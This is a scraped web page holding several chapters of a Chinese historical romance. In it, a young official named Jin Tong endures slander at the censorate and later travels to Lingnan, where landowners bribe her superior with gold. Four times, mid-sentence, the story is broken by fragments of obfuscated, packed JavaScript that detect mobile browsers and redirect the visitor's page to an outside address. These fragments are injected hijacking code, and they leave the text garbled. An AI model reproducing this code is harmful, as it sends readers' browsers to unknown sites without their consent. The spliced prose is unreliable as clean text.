这个掌管监察院十数年的人，没人敢因为她的女子身份轻视她分毫。 最后，她的手轻搭在金桐的肩膀上，一触又离开，“你跟我出来。” 金桐凝神凛气，对张、周二学士道：“学生稍后回来。” 周学士被邱监察当众落了面子，正在气头，别过脸只当没听见。 张学士则笑眯眯地对她摆摆手，“快去，快去。” 金桐合上手边的公文，顶着许多双审视的眼睛走出了舆田署的门。 邱监察在门口等她。 金桐以为邱监察至少会找个僻静的地方说话，便乖顺地跟在她身后。 邱监察却只是院子里走着，一圈又一圈。 走到第五圈的时候，金桐停了下来。 邱监察回头问道：“怎么不走了？” 金桐道：“邱监察叫学生出来，可是有话要问学生？” “哦？”邱监察反客为主道，“我以为应当是你有话要问我。” 金桐咬了下唇。 邱监察说得对，她确实有一个不得不问的问题。 她斟酌道：“学生的名次……是否有隐情？” “是。” 邱监察早已将金桐看穿，金桐话音刚落，邱监察不给她反应时间，斩钉截铁给出了答案。 金桐被钉在原地。 周学士影射她的话，她本是不愿相信的。 邱监察的回答令她的脸上闪过愤怒、羞愧、迷茫，最后归于空白。 “为什么？”金桐问道。 并非质问，她只是平静地想要知道一个结果。 邱监察欣赏着金桐精彩的表情，慢悠悠道：“我们看过你的文章，都认为你应当在二甲前十，周学士却有不同意见。” 说到这里，邱监察回忆着，无奈地摇头。 金桐与邱监察见面两次，每一次邱监察都是平心静气的，即便金桐忤逆拒绝，她也没有任何不悦。 但在这停顿的间隙，金桐却感受到了一些疲惫厌烦的情绪。 邱监察道：“周学士认为，你文章写得再好，也不过是读死书，你的名字不该出现在黄榜上，监察院也不需要第二名女子。” “他是元老，有些拥趸，不过成不了什么气候，监察院的话事者是我邱元玉，我说你进得来，你便进得来。” 真相竟是如此。 金桐松了一口气，对此感到庆幸，却也意识到前路艰难。 金桐神色算不上轻松，邱监察问她：“你可会怨我方才没有替你澄清？” 金桐摇头，“不会。” 她深知邱监察对她已经仁至义尽，若连同僚间的关系都要邱监察帮着处理，她不如趁早辞了监察院的事务回颍川。 邱监察可惜道：“你是个有韧劲儿的孩子，这最是我喜欢的。但有时候我又真的希望你软弱些，多依靠别人一些。我之前说的话依旧作数，只要你愿意走我为你选择的路，随时可以来找我。” “不……” 邱监察不给她拒绝的机会，道：“还未到答复的时间，你不必急回复我。” 初见那日，她固执地拒绝了邱监察，邱监察却给了她一个月的时间考虑。 她早已做出了决定，但邱监察说时间未到，她便没有多言。 邱监察道：“没什么事了，回去吧。” 嗯？就这样？ 金桐略一思索便明白，邱监察方才的出现并非偶然。 周学士对她有偏见，以他的为人，今日见面一定会责难她，所以邱监察方才突然的出现就是为了给她解围。 她感念邱监察的关照，道：“多谢您。” 如此快地领悟到这一点，邱监察对于她的聪慧很是满意。 不愧是她邱元玉看中的人，除了有点儿犟，处处都好。 她并不介意再多提醒她一点：“有时真相并不那么重要，人们总是相信自己想要相信的，解释只是无谓的徒劳。” 申时散职。 金桐前脚迈出监察院的大门，便见槐树下站着苏礼明。 “第一天上任感觉如何？” “累。”金桐耷拉着眉，言简意赅道。 苏礼明被她逗笑，“金大人辛苦。” “乱说什么。”金桐瞪他一眼，随即又颓废下来，“我实在饿得没力气，先找个摊子吃口面再说。” “景明可要伤心了。” “他怎么？” “景明备好了一桌饭菜在家等着给你接风，你在外面吃完回去，他怕是会闹。” 金桐立刻道：“那还吃什么面，我们快些回去，别辜负了景明好意。” 金桐拉着苏礼明风风火火地赶回家，苏景明早就等得倦了。 见他们回来，苏景明抱怨道：“好慢。” 金桐陪笑：“让你和满桌好菜久等了。” 苏景明这才脸色转晴，道：“都是府内厨子做的，也不知道合不合姐姐的口味。” “当然合，怎会不合？”金桐一边净手，一边笑道，“景明弟弟这番心意，我心领。” 苏景明被哄得开心，对苏礼明挑衅地扬了扬眉，“姐姐，这一桌菜全是我一人督办，兄长可是没出一点儿力。” 这种时候他也要和苏礼明争上一争，金桐忍俊不禁，筷子却没停过。 她吃相虽不至于狼吞虎咽，速度却比往常快了不少。 苏景明看出来，问道：“怎么吃得这么急，监察院是不是克扣姐姐中午的口粮？” 金桐咽下口中饭菜，道：“怎会？是景明弟弟准备的饭菜实在可口。” 苏景明很是受用。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868520|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金桐忽然想到，考试结束那日，邱监察身边的人来寻她，看起来与苏家两兄弟并非素不相识。 她问道：“对了，监察院有一位姓周的学士，你们可有了解？” “姐姐说的可是脸又长又黑，蓄着山羊胡，开口就说不出好话的那位？” 苏景明几句话将周学士描述得不能再生动了，他白日挺着腰骂人的样子跃然眼前。 金桐道：“应当是他没错。” “姐姐问他做什么？他欺负了姐姐不成？” 金桐没有否认，委婉道：“监察院的五位学士中，四位待我平常视之，唯有周学士的态度比较特别。” “那老头对谁都没好脸色，一点就着，说话像是吃枪药了一样。”苏景明坏笑，“要我说，监察之职轮不到他，是他活该。” “此话怎讲？” “周季松算是检察院现存资历最老的人之一，还有一人姐姐今天也应见过了。” “张学士。” “对，这位张学士见谁都是笑眯眯的，脾气好得不得了。” 金桐含笑点头，心里却不敢苟同。 苏景明继续道：“按理说，熬到他们这个年纪，前任监察致士，新监察理应从他二人中选。张学士无意相争，监察之位于周季松如同探囊取物一般。偏生半路杀出一个邱监察，圣旨亲降，又有实绩在身，谁也说不得什么。” “原来如此。” “再说，邱监察论资历绝不输他，年龄却比他小，他这辈子的仕途，一眼看到头了。” 难怪周学士与邱监察一见面就剑拔弩张，若如苏景明所说，周学士对邱监察的怨气当真不小。 “邱监察担任监察之职也有了些年头，这么久过去了，周学士仍不能与当年之事和解，也算持之以恒了。” “要说周季松怨气之长久，便不得不提另一桩辛密了。”苏景明手握成拳，抵在唇边遮掩。 光是上面说的那些都够金桐消化一阵，不想这监察院中还有其他事，她扬起了声调：“还有？” 苏景明示意她凑近，两个人几乎头贴着头。 苏景明压低了声音道：“先皇后薨逝，凤位空悬多年，据传是陛下在等邱监察点头。” “景明，慎言。” 苏礼明打断他们危险的谈话。 “这有什么？”苏景明浑不在意，“姐姐又不是外人。” 兹事体大，金桐深明其中厉害，右手三指并拢举于头侧，“我发誓不会将今天听到的事情告诉任何人。” “姐姐别这么严肃。”苏景明叫她将手放下，道，“我自然是信姐姐的，今天的话，出了我口，入了姐姐的耳，但凡传出去，保准是兄长告密。” 苏礼明全程未发一言，仅一句慎言也要别他编排进来，真是无处说理。 “怎么又欺负你兄长？”金桐被他逗笑，又正色道，“不过这种事情以后还是少说为好，妄议天子，此事可大可小，就怕被有心人抓住把柄。” “姐姐新官上任，却已经深谙官场之道，如此兄长便可安心了。” 金桐看向苏礼明，他这会儿倒不斥苏景明多嘴，若她看没错，苏礼明似乎还压着笑。 真不知他有什么好笑的。 “乱说。”金桐反驳道。 而后便你一言我一语地聊了些旁的事，夜幕低垂，他们二人不便多留，起身告辞。 23. 针对 邱监察让人撤了周学士的椅子，周学士便直接回了家，今日亦告病不来，舆田署显得格外安静。 金桐的位子正在周学士对面，盯着眼前空荡荡的缺口，下意识咬着笔杆出神。 拜苏景明的辛密所赐，金桐心神遭受冲击，一到监察院便不由自主想起那些话，做什么都心不在焉。 她正心不在焉，张学士食指扣了扣她面前的桌子。 金桐发呆被抓包，脸色有些发红，不好意思地看着张学士。 张学士道：“昨儿话被岔过去了，回来也忘了问你，你说一种二收法你试验过，果真？” 金桐道：“学生在家乡名下有些田地，采用此法已经许多年了。” “你家在哪？” “颍川。” “颍川啊……颍川和岭南气候倒是差不多。” 张学士琢磨了一会儿，道：“过些时日就可收获头茬，现在派人去岭南与当地农户沟通，时间上刚好。对，我现在就去找监察大人说这个事。” 张学士走后，有人开始阴阳怪气。 “有些人脸皮厚如城墙，将周学士气得病了，自己反倒跟个没事人一样。” “嗐，谁说不是呢。周学士让那位安分些，那位可是一点儿都没听进去，这股好出风头的歪风邪气，咱们可学不来。” 他们句句针对金桐，又不指名道姓。 金桐无所谓地笑笑，觉得好没意思，任他们如何说，她反正一句也听不进心里。 三位学士都没出言制止，他们胆子渐大了起来。 “我听说揭榜那日，就有人在榜下道出真相。那位可是攀附上了了不起的人物，我们寒窗苦读十余载，还不如人家路子找得好。” “这事我也有所耳闻，当日道出真相的那人，好像是她在老家的未婚夫。” “也不知道她占了谁的名额进来的，我等寒窗苦读十余年，还不如人家的一次献身。” 有人发出了意味不明的笑声，“你怎么知道只有一次？” “好了，静声。” 或许因为他们的言辞太过不堪入耳，其中一位学士终是制止他们继续说下去。 他们一些人唱着红脸，一些人唱着白脸，金桐冷笑，觉得自己不是坐在为百姓谋生的恶舆田署，而是坐在自家大院的戏台下。 她今日方算开了眼界，明白了一个道理：不能因为有些人身居高位，就高估了他们的品格。 不知这几位学士方才是睡了，亦或是聋了哑了，否则也不会任他们这么搬弄了半天是非，才道出静声两个字。 原来不站队也是一种站队。 邱监察说过，周学士在监察院有些拥趸，想必这三位都是了。 金桐对邱监察越发敬重，她轻描淡写地道出监察院的暗潮汹涌，其中又隐下了多少不为人知的辛酸。 都说妇人长舌，金桐倒觉得这话说错了，要论起长舌，还应看这些读书人。 捕风捉影，颠倒黑白，无中生有。他们委身在监察院倒是屈才了，茶楼说书才是他们的正经归途。 茶馆得了他们，必将宾客满堂，她也将不吝啬去捧场，一定多给他们丢些赏钱。 她这么想着，便不住笑了起来。 数十双眼睛盯着她，她一笑，便有人问道：“你笑什么？” 金桐神色无害，坦白道出了心声：“诸位有朝一日聚集一台，定是一出好戏。” 金桐生的一副性软的面相，众人还当她好拿捏，不想她一开口便是话语尖利。 在场都是自视甚高的读书人，怎可受辱与戏子作比。 脾气暴的质问道：“你什么意思？” 金桐学他们，笑得意味不明。 眼看矛盾一触即发，李学士又道：“都是同僚，说话何必这般刻薄。金桐，你给他们道个歉，这事便过去吧。” “学生拒绝。” 那学士见金桐一口否决，语气不善：“你一心挑起事端？” 左右他们没打算放过自己，那她也不必在意什么人情世故。 “请问李学士，方才可是不在舆田署？” 李学士不解其意，直觉她没安好心，不愿作答。但顾及自身气度，到底是不悦地回了一句：“本官与你一样，一直在此处。” “学士既然一直在此，怎会认为是学生在挑起事端？先造谣生事的不正是这些寒窗苦读十余年的同僚吗？”金桐目光凛凛，却装作一副虚心求教的样子。 “这……”李学士被她顶撞，想要发作，又自觉理亏。 “无风不起浪，一切是不是谣言还未可知，”一位姓潘的学士帮腔道，又一副不计前嫌的姿态，“过往之事不再追究，你既然来了监察院，一言一行都牵扯到监察院的脸面，以后需洁身自好，莫令监察院匾额蒙尘。” 潘学士一番话下来，连敲带打，看似为她平事，实则却是连辩驳的机会都不给她，直接将她定了罪。 如此是非不分，与他多说无益，金桐不为自己辩解，只道：“学生受教。若有朝一日先生含冤受屈，也切莫忘了‘无风不起浪’这句。” 说完她便别开目光，看像始终一言不发的蒋学士。 反正已经得罪了两位，也不差这一个，干脆一不做二不休，探探他的底细。 “不知蒋学士可有指教？” 蒋学士闻言轻抬眼皮，“过刚易折，强极则辱。” 金桐一愣，蒋学士的态度出乎她的意料，他好像真的对他们所争之事漠不关心。 面对她略带挑衅的问话，他也只是略作提点而已。 他对自己当真毫无恶意，甚至还有几分对晚辈的包容。 他这一点温情，于腹背受敌的金桐而言，无异于雪中送炭。 金桐收起了尖牙利齿，诚心道：“学生记住了。” “聊什么呢？”张学士在此时回来，好像感觉不到众人间的异样，乐呵呵地他们打听。 老狐狸，回来的时间可赶巧。 这位的立场金桐一时还摸不透。 他曾主动退出监察一位之争，面对周学士又诸多熟稔迁就；同时对邱监察却也顺服恭敬。 在众多学士之中，张学士对她也是最友善的一位。 刚还趾高气昂的潘、李两学士在张学士面前不敢造次，一时没吭声。 没人回答，张学士便没再问，转而提起：“我刚与邱监察相议，将在月末前往岭南试行一种二收法，可有人愿意同去？” 一片安静。 四十名学子，无一人响应他。 张学士一手作掌一手作拳，相撞在一起，可惜道：“多难得的机会，你们对此都不感兴趣吗？” 三个月的考察在前，最后能留下的仅有三人。 此行一去，没个把月定然会不来，考察期总共三个月，时间都耽搁在外面，哪比得上监察院近水楼台。 舆田署何人掌权一目了然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868521|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他们已经决意攀附周学士，没人愿意在此时离开。 “张学士，学生认为，此法既然由金桐提出，我等不便与之相争，就让她去吧。” “既然大家都如此想，”张学士转向金桐，问道，“你意愿如何？” “学生愿往。”金桐道。 时间转瞬而过，转眼便到了月末。 出发前忽然有两人找到张学士，说也要同行，张学士问金桐意见，金桐对此倒是没什么异义，二人行变为四人行，彼此之间也能有个照料。 金桐早已整装待发，张学士却迟迟不走，说是要再等一人。 金桐当是谁，结果等来了苏礼明。 于是四人行又变成了五人行。 “怎么是你？” 金桐对于苏礼明的出现有些无可奈何。 “唔。”苏礼明无辜地看着她。 托刘义秉的福，监察院内，关于他们二人的谣言传得满天飞。 他此时现身，更为谣言添了一味猛料。 金桐不愿面对身边两位同僚的炽热目光，重重叹了一口气。 张学士对他们介绍道：“这位是国公府的大公子，姓苏明礼明。苏公子游历过多地，也曾去过岭南地区，对那边较为熟悉，此程将与我们同行。” 他又看了一眼面色复杂的金桐，特意解释了一下：“这还是对亏了邱监察的面子。” 两位同僚抱拳作揖：“有劳苏公子。” “二位不必多礼。”苏礼明道虚扶了一下道，“我恰好顺路。” 金桐抬了抬眉，她怎么不知道苏礼明有去岭南的打算。 苏礼明含笑看她，从眼神中读出了她的想法，道：“友人将往，我将陪同。” 合着张学士的话白说了，绕来绕去又绕回了她身上。 两位同僚看着金桐，露出一副了然神色。 金桐郁闷地错开眼。 他们四个眉来眼去，张学士实在看不下去了，道：“啊，还没介绍。这二位是彭昱、周子衡。” “时候不早，我们启程吧。” 路上苏礼明主动与他们谈起岭南的风土人情。 彭昱和周子衡见他谈吐不凡，且金桐待他坦荡自然，他们心中的谣言逐渐土崩瓦解。 他们虽与金桐同行，金桐却没主动和他们说过一句话，除了递吃递水，她的交流对象几乎只限于苏礼明和张学士二人。 监察院共事期间，他们误信谣言，对金桐多有不齿，有意避开她，虽未有过言语中伤她时候，却也没帮她说过一句话。 现下心中有了判断，他们忽而对金桐生出意思愧对之意，却不知如何开口。 几日后，他们抵达岭南。 当地的何太守特来相迎，并告知他们在家中摆了酒宴，为他们接风洗尘。 他们先去何太守准备好的住处安顿下来，换了身衣服，前去赴宴。 他们赶到的时候，宴会人已到齐。 主位空缺着，太守坐于下首右侧，身边坐了三人，与之相对的，左侧则是死了空着的连座。 张学士对苏礼明谦让，略侧过身子，示意他坐上首。 苏礼明则摇头婉拒，径自去了最末，掀袍坐下。 张学士摇摇头，脸上却笑开了花，臀部稳稳当当落在了椅子上。 金桐则是走到了倒数第二个位子，坐在了苏礼明旁边。 彭昱和周子衡互相让了下，便也入了宴。 24. 私心 何太守举杯遥敬张学士，道了些路途辛苦的客套话。 张学士饮下一杯酒，道：“为民谋福，谈不上辛苦。” 何太守从方才开始就留意着苏礼明，张学士对苏礼明的态度显然不一般。 他问道：“这位公子器宇不凡，学士可否愿为在下引荐？” 张学士笑答：“你倒是有眼力，我这小友是国公府的大公子。” “竟是国公府的公子？” 苏礼明对他一点头，敬了杯酒。 何太守忙道：“可不敢当。” 他给自己斟了满杯，一饮而尽，身体略向前倾，将酒樽翻转，亮出干净的杯底。 金桐三人眼下还没品级，识趣地挨个给何太守敬酒。 何太守笑着一一应下，酒樽却未再动过。 他眼珠一转，对身后侍女招招手，耳语交代了几句。 接着击掌三下，鼓乐奏起，舞姬一袭轻纱红裙，踏着细碎的舞步踱至中央，随着她的动作，裙摆在众人眼底摇曳翻飞出一片艳色。 彭昱和周子衡哪里见过这种排场，舞姬腰肢柔软，媚眼如丝，他们两个脸渐红了，不敢再看。 苏礼明对此显然没什么兴趣，不在意地看向别处。 倒是只有金桐和张学士两个人看得津津有味。 一舞毕，舞姬退下。 张学士笑得见牙不见眼，却强作深沉道：“何太守这阵仗是何意啊？” “下官可不好揽这功劳啊。”何太守转头看了眼坐在右侧的三人，“这舞姬是翠华楼的头牌，舞姿一绝，从不外出。听闻学士要来，是这三位专门花了重金为学士请来的。” 那三人对张学士抱拳示意。 张学士顺着何太守的引荐看过去，问：“哎呀，费心了。三位是……？” “这三位是我们当地有名的大地主。”何太守边说边观察着张学士的神色，见他对此并无反感，才继续道，“要说这三位啊，可是咱们岭南的大功臣，若没他们三个，岭南百姓恐怕就要食不果腹啊。” 张学士面上挂着淡淡的笑意，静待他下文。 果不其然，何太守话锋一转：“下官知道张学士是为了什么来的，下官不愿意让学士为难，但也不能不顾岭南百姓的温饱。下官有一提议，不知学士意下如何。” 张学士道：“太守尽管说来，何必吞吞吐吐。” “非是下官不信任学士，只是学士说的那法子，须得试过了才知灵不灵。” 张学士抬手指了金桐，“你来说。” “是。”金桐正色道，“太守不必忧虑，此法我在颍川实行多年，确有增产之效。岭南与颍川节气相似，若无意外，当无大差错，今年收成约能加三成。” 何太守本就心有芥蒂，不愿冒险，看金桐又是一年轻女子，更觉她不可信。 “百姓耕种，乃是看天吃饭，何来那么轻松的增产之法。即便试行过，岭南与颍川亦有诸多不同。” 他目光直视着金桐，问道：“你能保证万无一失吗？” 这话就有些不讲道理了，他自己明知道耕作是看天吃饭，这会儿却叫别人来跟他保证。 金桐没有回答。 张学士道：“那依太守之间，我们现在便可以打道回京了？” “哪能。”何太守陪笑，眼尾的褶皱都堆了起来，活像一只偷了鸡的黄鼠狼。 他一改对金桐的强硬态度，对着张学士谄媚道，“下官说了，绝对不会让学士为难。这三位的田是我岭南的根本，是无论如何都动不得的。其余的村子散户，下官自会为学士打好招呼，以便学士交差，如何？” 如此还有什么不明白的？ 宴上的三位地主信不过他们，便来找何太守替他们周全，总之他们别想碰他们的田。 至于普通百姓的死活，就不关他们的事了。 他们怕不是还盼着旁人减产，他们好趁机抬粮价，从中狠捞一笔。 “这个嘛。”张学士捻着胡须，又是咂嘴又是叹息，似乎为难极了，“此事容我回去之后再想想。” 这便是可以松口的暗示了。 何太守立刻会意，连连点头道：“学士不必急着决定，再回去好好想想。” 饭也吃了，舞也看了，该说的话也说尽了。 何太守仍没有让他们离开的意思，不光金桐，就连张学士也觉察出一丝异样。 “时候不早，我们便不叨扰了。”张学士道。 何太守看了两眼苏礼明，眼底有些焦急，似在等着什么人。 但他没理由强留他们，只能道：“学士舟车劳顿，早些回去歇息。” 趁着他们起身，何太守转头对侍女说了些什么，看神色似乎十分不悦。 侍女连连点头，下去了。 他们快到太守府大门，从旁小道走出一位身着鹅黄襦裙的少女。 少女走近，对着何太守轻唤：“父亲。” 何太守顿时眉开眼笑，引着少女到苏礼明面前，“这是犬女，何盈盈。” “盈盈，这是国公府的苏公子。” “苏公子。”何盈盈屈膝行礼，声音柔柔的，面上一派乖顺，实际却是连苏礼明的脸都不看一眼。 何太守瞬间心里冒火，但碍于在场人多，强行压了下去。 “我这女儿没什么出息，被她娘养得畏畏缩缩，出来见个人都得一再去叫。” 张学士一脸看好戏的表情，道：“女儿家性子安慰些是好事，更何况令爱这副容貌，若是常抛头露面，不知要惹得多少少年倾心。” 他作为长辈可不厚此薄彼，对何盈盈介绍道：“这是我监察院的彭昱和周子衡。” 何盈盈对待他们与对苏礼明的态度没什么区别，既不过分热情，也没过分冷淡。 “彭公子，周公子。” 亦就是那柔柔的声音，却也没看他们一眼。 何盈盈生得十分娇小柔美，仿佛春日枝头初绽的梨花，沾着清晨的露水。 她这样不看人虽然无理，众人却也只当她羞涩，不甚在意。 何太守摆摆手，恨女儿不争气：“我这女儿性子太弱，也就勉强看得过去。” 他用眼觑着苏礼明，语带讨好：“苏公子，你看如何？” 他嘴上说得谦虚，金桐却听得出，他对女儿的容貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868522|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应是十分满意的，不然也不会巴巴领到苏礼明的面前。 “盈盈一水间。是个好名字，与何小姐很相配。”苏礼明作此回答。 何太守有些失望，但仍不愿放弃，道：“苏公子在岭南这段时日，若要去何处，尽管叫小女作陪，让她代下官略尽地主之谊。” 何太守的心思昭然若揭，苏礼明没有应下。 何小姐却有了反应。 她从出现开始，便没多说一句话，始终半敛着眸，仿佛以这种方式将自己与他们隔绝开。 任她的父亲如何侃侃而谈，她就像老僧入定般不为所动。 但她此时好像忍不下去了。她的眉间因为何太守的话轻轻蹙起，柔美的脸上露出不耐的神色。 金桐强忍着笑意，偷偷观察她。 何太守对于女儿的评价看来不太准确，这位何小姐全然不似他说的那般柔弱没主见，反而很有意思。 许是金桐盯得太久，何小姐感受到她的目光，抬起头来，与她正对上。 在金桐的注视下，何小姐无声开口，吐出一个字。 “烦。” 金桐抿着嘴偷笑，对张学士道：“学士，对于一种二收之法，我忽然有些想法。” 张学士对待正事从不含糊，听金桐这样说，他便急着对何太守告辞，惹得何太守不满地瞥了她好几眼。 对此金桐全当作看不见。 她悄悄看向何太守身后的何盈盈，见她如释重负地松了一口气。 他们终于离开了太守府，只是没走出去多远，便听到关闭的大门内传出何太守训斥的声音。 金桐忍不住驻足回望。 苏礼明问道：“怎么了？” 金桐摇摇头，道：“没什么，走吧。” 张学士起了玩笑心思，问道：“你们觉得何小姐怎么样？” 金桐道：“何小姐其实很好，何太守对女儿的了解或许不够。” “说得好，但是你的看法不重要，你又娶不了人家姑娘。”张学士道，而后将她搁置一旁，看向另外三位，“你们当中可有中意她的？何太守这是着急嫁女儿了。” 苏礼明默不作声地往金桐旁边撤了一步，留彭昱和周子衡闹了个大红脸，结结巴巴说不出话。 张学士的玩笑心思得到了满足，也不强逼他们，大笑着往前走了。 彭昱和周子衡同时松了一口气，在对方身上看到自己窘迫的模样，都低下头，默不作声地往前走。 回到了住所，他们两个总算平静下来，脸上恢复了正常的颜色。 张学士时不时用那种意味深长的眼神逗他们，他们的反应也小了许多，只是尴尬地挠挠头。 金桐实在瞧不下去张学士这么欺负人，主动岔开话题解围：“对于何太守在宴上说的话，学士怎么看？” 张学士摇摇手，道：“别急。” 金桐不解。 张学士神秘道：“等下就知道了。” 他一说完，便有人轻扣了几下房门。 “请问张学士可在此处？” 张学士一副意料之内的神态，指着门外道：“瞧，这不就来了。” 25. 下套 周子衡去开了门，门外是三名小厮模样的人。 中间的小厮捧着个金丝楠木的匣子，那匣子看起来很有分量，他要双手才捧得稳当。 小厮很有眼力，径直走到太师椅前，弯着身子询问：“这位就是张学士吧？” 张学士身体后靠，单手搭在太师椅的把手上，手指轻轻点着，“你找我何事啊？” 小厮的身子更低了，献宝似的将手中的匣子捧到头顶，答：“这是我家主人给学士的见面礼，特意交代要学士亲自打开。” 张学士不动，问：“你家主人是谁？” “我家主人学士刚见过的，大名齐峰。” 张学士点了点头。 齐峰，宴会上的三人之一，挨着何太守入座，看来应当是三人之首。 张学士直到散了宴也没给他们准话，让他们心里空落落地离开。 他们心里没底，便想着私下打点来了。 原来这一切都是张学士这只老狐狸给他们下的套，难怪一回来就坐等着人来。 那匣子看着不大，却很重，金桐忍不住琢磨里面到底装的是什么。 小厮举着匣子，那姿势很吃力，不过一会儿，他身子就开始不可抑制地发抖。 张学士看他一眼，食指随意点了点旁边的桌子，“放着吧。” 小厮如蒙大赦，将匣子轻放在桌角，连一点声响都没发出。 只瞥了一眼，张学士便把目光转向了另外两位小厮，“你们又是谁家派过来的？” “我家老爷姓吴。” “我家老爷姓马。” 吴长正和马佐，是宴上的另外两个地主。 “我知道了，你们回去吧。”张学士道。 齐峰家的为难道：“匣子里是我家主人的心意，好的坏的学士都打开看看，我也好回去交差。” 张学士不为难他，却也不自己上手，他指了金桐，道：“你来。” “是。” 金桐走到桌边，双手抚上精美的匣身，拇指和食指轻轻拨动锁扣，满怀期待掀开匣盖。 里面码了整齐的两层金锭子。 彭昱和周子衡眼睛双双睁大了，金桐面无表情地侧开身，退回到苏礼明旁边。 张学士轻掸衣袖，眼皮也不掀一下，道：“你家主人有心了，回去吧。” 齐峰家的有些拿不准了。 除了那两个愣头小子是一副没见过钱的样子，开匣的女子和他旁边的男子，都如张学士一般处变不惊，完全没将那些沉甸甸的金子放在眼里。 见他还不走，张学士抬眼问道：“还有什么事？” “没，没。”齐峰家的作了个长揖，倒退着出了门，给另外两人使了个眼色。 那两人空手来的，更没理由继续呆在这，便学着他的样子，一同退了出去。 “周子衡，去把门关上。” 周子衡对波澜不惊的张学士投以崇敬的目光，听他的话关上了门。 门刚关上，周子衡还没转身，就听到身后传来奇怪的声音。 张学士满脸怜爱地抚摸着匣中金灿灿的金锭子，还将脸贴了上去，笑得好像喜得麟儿的老父亲。 “真不少啊，齐峰出手真大方啊。” 他心中的崇敬瞬间破灭了。 张学士从金锭子上抬起脸，对金桐赞道：“好，演得不错，我就知道你行。” 他指的是金桐见到满匣金子面不改色这件事。 亲自开匣这件事显得太跌份，齐峰叫他做什么，他就做什么，那他这个学士当得怪没面子的。 所以他便矜持了一下，假手于人。 匣子里不是黄白之物，就是奇珍异宝，若他的人被晃了眼，也是落他的面子，所以，开匣的人选也有说道。 最合适的当是苏礼明，国公府的少爷什么稀罕东西没见过，由他来开最是稳妥。 但他实在不好随意使唤苏礼明，便又盯上了金桐。 在监察院时，他对金桐实行一种二收法进行了一些询问，金桐对他事事直言，没有任何隐瞒，他便也顺便了解到金桐在颍川的一些田产，与真正的寒门学子相比，金桐可以称得上一句颇有家资。 金桐也果然如他所料，对匣中之物视之平常，让他长了好大面子。 金桐听了张学士一席话，顿感无语凝噎。 她无奈笑道：“我倒也没那么淡薄，真金白银的，属实晃了我的眼。” 彭昱和周子衡正因为张学士的话自残形愧，听金桐这么说，便问道：“可你看起来确实处变不惊。” 这是多日以来，他们第一次主动和金桐搭话。 金桐弯着眼，笑得有些俏皮：“因为我也要面子呀。” 苏礼明最先反应过来，手握成拳，抵在嘴边，用轻咳遮掩笑意。 张学士则抚掌大笑，指着金桐，连道了三声好，彭昱和周子衡的脸色看起来也好了不少。 几人之间的距离在不知不觉间拉进了。 笑过之后，金桐又问道：“齐峰送来的东西，学士打算如何处置？” 张学士斜着眼睛，假装威严：“怎么？我就不能自己收着？” 金桐垂眸看着张学士露在衣摆外的半截鞋面。 他们为了参加宴会，都特意回来换了衣裳。 张学士脱下了他袖口磨损的旧衣，穿了件撑场面的新衣，脚上的鞋却没换。 那双鞋的鞋面洗得很干净，同时也因为多次清洁而褪了色，看起来半新不旧的，有年头了。 他是很节俭的人，日常很多小事都能看出来。 张学士双手乱挥，挡住了金桐的视线。 “您不会。”金桐回答。 不是不能，而是不会。 张学士笑了，不再板着脸吓她。 “放心吧，这些回去都要交给监察大人的。天灾年年有，光靠户部那点拨款，百姓早就饿死了，还不是我们监察院自掏腰包贴补，每年入不敷出。” “这种孝敬，我从来都是来者不拒。你们以后遇到了也收着，别装什么清廉，清廉不能当饭吃，清廉会饿死人！” 他将匣子盖上，放置妥当。 见金桐三人还呆站着没有反应，想着他们初次接触这种事，可能一时难以接受，慢慢来吧。 他心头亦喜亦悲。 三个都是好孩子啊，可惜早晚要摒弃理想，屈服于现实。 “腰杆都给我挺直了，又不是什么坏事。”张学士挨个拍拍他们，“这点儿就受不了，明天可怎么办？” 金桐问道：“明天难道还有？” “不然我方才那一出是白演的？等着吧，吴家和马家很快就坐不住了。”张学士哼哼两声，故意逗他们，“雁过拔毛，我一个都不会放过。” 恰如张学士所言，翌日一早，吴、马两家便效而仿之，送来两个匣子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868523|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张学士这次看都没看，交给彭昱和周子衡收好，便打发人走了。 